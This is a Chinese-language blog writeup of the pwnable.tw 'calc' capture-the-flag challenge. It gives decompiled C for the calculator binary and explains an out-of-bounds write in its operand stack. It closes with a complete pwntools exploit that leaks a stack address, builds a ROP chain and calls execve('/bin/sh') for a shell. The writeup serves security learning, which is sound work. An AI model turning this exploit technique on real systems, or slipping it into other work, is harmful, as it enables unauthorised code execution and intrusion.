pwnable.tw calc writeup

原创

Anciety 于 2017-09-27 20:48:27 发布 1427 收藏

分类专栏： ctf

本文链接：https://blog.csdn.net/qq_29343201/article/details/78117065

题目

main：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}
```

calc：

```
int calc()
{
  ExprBuf buf; // [sp+18h] [bp-5A0h]@4
  char s; // [sp+1ACh] [bp-40Ch]@2
  int v3; // [sp+5ACh] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  while ( 1 )
  {
    bzero(&s, 0x400u);
    if ( !get_expr(&s, 1024) )
      break;
    init_pool(&buf);
    if ( parse_expr(&s, &buf) )
    {
      printf((const char *)&output_d_fmt, buf.buf[buf.buf_size - 1]);
      fflush(stdout);
    }
  }
  return *MK_FP(__GS__, 20) ^ v3;
}
```

initpool：

```
ExprBuf *__cdecl init_pool(ExprBuf *a1)
{
  ExprBuf *result; // eax@1
  signed int i; // [sp+Ch] [bp-4h]@1

  result = a1;
  a1->buf_size = 0;
  for ( i = 0; i <= 99; ++i )
  {
    result = a1;
    a1->buf[i] = 0;
  }
  return result;
}
```

parse_expr:

```
signed int __cdecl parse_expr(char *raw_expr, ExprBuf *expr)
{
  char *idx; // ST2C_4@3
  signed int result; // eax@4
  int expr_idx; // eax@6
  int v5; // ebx@25
  char *v6; // [sp+20h] [bp-88h]@1
  int i; // [sp+24h] [bp-84h]@1
  int stack_ptr; // [sp+28h] [bp-80h]@1
  char *buf; // [sp+30h] [bp-78h]@3
  int num; // [sp+34h] [bp-74h]@5
  char op_s[100]; // [sp+38h] [bp-70h]@1
  int v12; // [sp+9Ch] [bp-Ch]@1

  v12 = *MK_FP(__GS__, 20);
  v6 = raw_expr;
  stack_ptr = 0;
  bzero(op_s, 0x64u);
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(raw_expr[i] - '0') > 9 )
    {
      idx = (char *)(&raw_expr[i] - v6);
      buf = (char *)malloc(idx + 1);
      memcpy(buf, v6, idx);
      buf[(_DWORD)idx] = 0;
      if ( !strcmp(buf, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        result = 0;
        goto out;
      }
      num = atoi(buf);
      if ( num > 0 )
      {
        expr_idx = expr->buf_size++;
        expr->buf[expr_idx] = num;
      }
      if ( raw_expr[i] && (unsigned int)(raw_expr[i + 1] - '0') > 9 )
```

```
        {
          puts("expression error!");
          fflush(stdout);
          result = 0;
          goto out;
        }
        v6 = &raw_expr[i + 1];
        if ( op_s[stack_ptr] )
        {
          switch ( raw_expr[i] )
          {
            case '+':
            case '-':
              eval(expr, op_s[stack_ptr]);
              op_s[stack_ptr] = raw_expr[i];
              break;
            case '%':
            case '*':
            case '/':
              if ( op_s[stack_ptr] != '+' && op_s[stack_ptr] != '-' )
              {
                eval(expr, op_s[stack_ptr]);
                op_s[stack_ptr] = raw_expr[i];
              }
              else
              {
                op_s[++stack_ptr] = raw_expr[i];
              }
              break;
            default:
              eval(expr, op_s[stack_ptr--]);
              break;
          }
        }
        else
        {
          op_s[stack_ptr] = raw_expr[i];
        }
        if ( !raw_expr[i] )
          break;
      }
    }
    while ( stack_ptr >= 0 )
      eval(expr, op_s[stack_ptr--]);
    result = 1;
  out:
    v5 = *MK_FP(__GS__, 20) ^ v12;
    return result;
  }
```

eval：

```
ExprBuf *__cdecl eval(ExprBuf *a1, char op)
{
  ExprBuf *result; // eax@12

  if ( op == '+' )
  {
    a1->buf[a1->buf_size - 2] += a1->buf[a1->buf_size - 1];
  }
  else if ( op > '+' )
  {
    if ( op == '-' )
    {
      a1->buf[a1->buf_size - 2] -= a1->buf[a1->buf_size - 1];
    }
    else if ( op == '/' )
    {
      a1->buf[a1->buf_size - 2] /= a1->buf[a1->buf_size - 1];
    }
  }
  else if ( op == '*' )
  {
    a1->buf[a1->buf_size - 2] *= a1->buf[a1->buf_size - 1];
  }
  result = a1;
  --a1->buf_size;
  return result;
}
```

struct:

```
struct ExprBuf
{
  int buf_size;
  int buf[100];
};
```

分析

题目逻辑还是有点麻烦的，虽然明知道就是两个栈实现的表达式计算。。
基本逻辑就是首先看是不是数字，如果不是数字进入逻辑开始处理，将之前的认做数字进行转换，然后放到栈上，其他部分也是相应的表达式计算的基本实现，具体看逻辑就好

漏洞位置：
1. 逻辑漏洞，没有进行边界检查导致存放数字结果的栈存在越界情况（eval中），通过一开始直接开始符号而不是数字则可以触发漏洞
2. 输出的时候按栈结果输出，刚好可以输出到越界被更改的部分
3. 栈顶指针位于栈之前，越界后刚好可以更改到

这里主要的漏洞原因是在只有一个数字一个符号的时候，会试图进行计算：

```
+-----+------+
| top | num1 |  <--- 数字栈
+-----+------+

+-----+
|sign1|  <--- 符号栈
+-----+

这个时候进行计算，于是会使用top指针来作为另一个操作数，这个时候保存的值会存在buf[top]的位置，对于一开始的时候，比如
```

利用思路：

1. 泄露一个栈指针，获得栈地址
2. 我们已经有办法进行任意写了，不过需要注意的是，这里只能进行加减操作，也就是不是直接设置，而是在该值上进行加减任意值，不过还好我们拥有可以泄露的方法，于是就是先泄露再加减设置成任意值
3. 通过任意写，构造rop，进行execve执行shell。这里其实只需要设置eax为0xb，ebx为”/bin/sh\x00”，ecx， edx都为NULL就可以（argv可以为NULL）

另外写exp还需要注意一个点，由于加减存在溢出，需要谨慎处理加减情况，避免溢出之后和所想要的值不一样，以及需要注意不能先泄露所有值再写，可能不一致

exp

```python
import sys
from pwn import *
context(os='linux', arch='i386', log_level='debug')

GDB = 1
if len(sys.argv) > 2:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process("./calc")


current_val = {}

def write(addr, content):

    p.sendline('+' + str(addr))
    current_val[addr] = get_val(int(p.recvline()[:-1]))
    p.info('current {} = {}'.format(addr, hex(current_val[addr])))

    curr = current_val

    payload = '+' + str(addr)
    val = content - curr[addr]
    if val < 0:
        payload += '-' + str(abs(val))
    elif val > 0x7fffffff:
        payload += '-' + str(0xffffffff - val + 1)
    else:
        payload += '+' + str(val)
    p.sendline(payload)
    receved = get_val(int(p.recvline()[:-1]))
    if receved != content:
        p.info('not right! received {} content {}'.format(hex(receved), hex(content)))
        raise Exception('not successful')
```

```
def get_val(x):
    if x < 0:
        return 0xffffffff + x + 1
    else:
        return x

def main():
    if GDB:
        raw_input()
    current_val = {}
    p.recvuntil('r ===')
    p.sendline('+360')
    p.recvline()
    stack_leak = 0xffffffff + int(p.recvline()[:-1]) + 1
    start_pos = stack_leak - 0x20 # +360
    p.info('start pos {}'.format(hex(start_pos)))
    current_val[360] = stack_leak
    # +361 -> return_address
    # stack:
    # 360 => start_pos(leaked)
    # 361 => 0x080701d1 : pop ecx ; pop ebx ; ret
    # 362 => 0
    # 363 => ebx : start_pos + 36
    # 364 => 0x0805c34b : pop eax ; ret
    # 365 => eax : 0xb
    # 366 => 0x080701aa : pop edx ; ret
    # 367 => 0
    # 368 => 0x08049a21 : int 0x80
    # 369 => 0x6e69622f /bin/sh\x00
    # 370 => 0x68732f
    write(361, 0x080701d1)
    #write(362, start_pos + 36)
    write(362, 0)
    write(363, start_pos + 36)
    write(364, 0x0805c34b)
    write(365, 0xb)
    write(366, 0x080701aa)
    write(367, 0x0)
    write(368, 0x08049a21)
    write(369, 0x6e69622f)
    write(370, 0x68732f)

    p.sendline()

    p.interactive()


if __name__ == "__main__":
    main()
```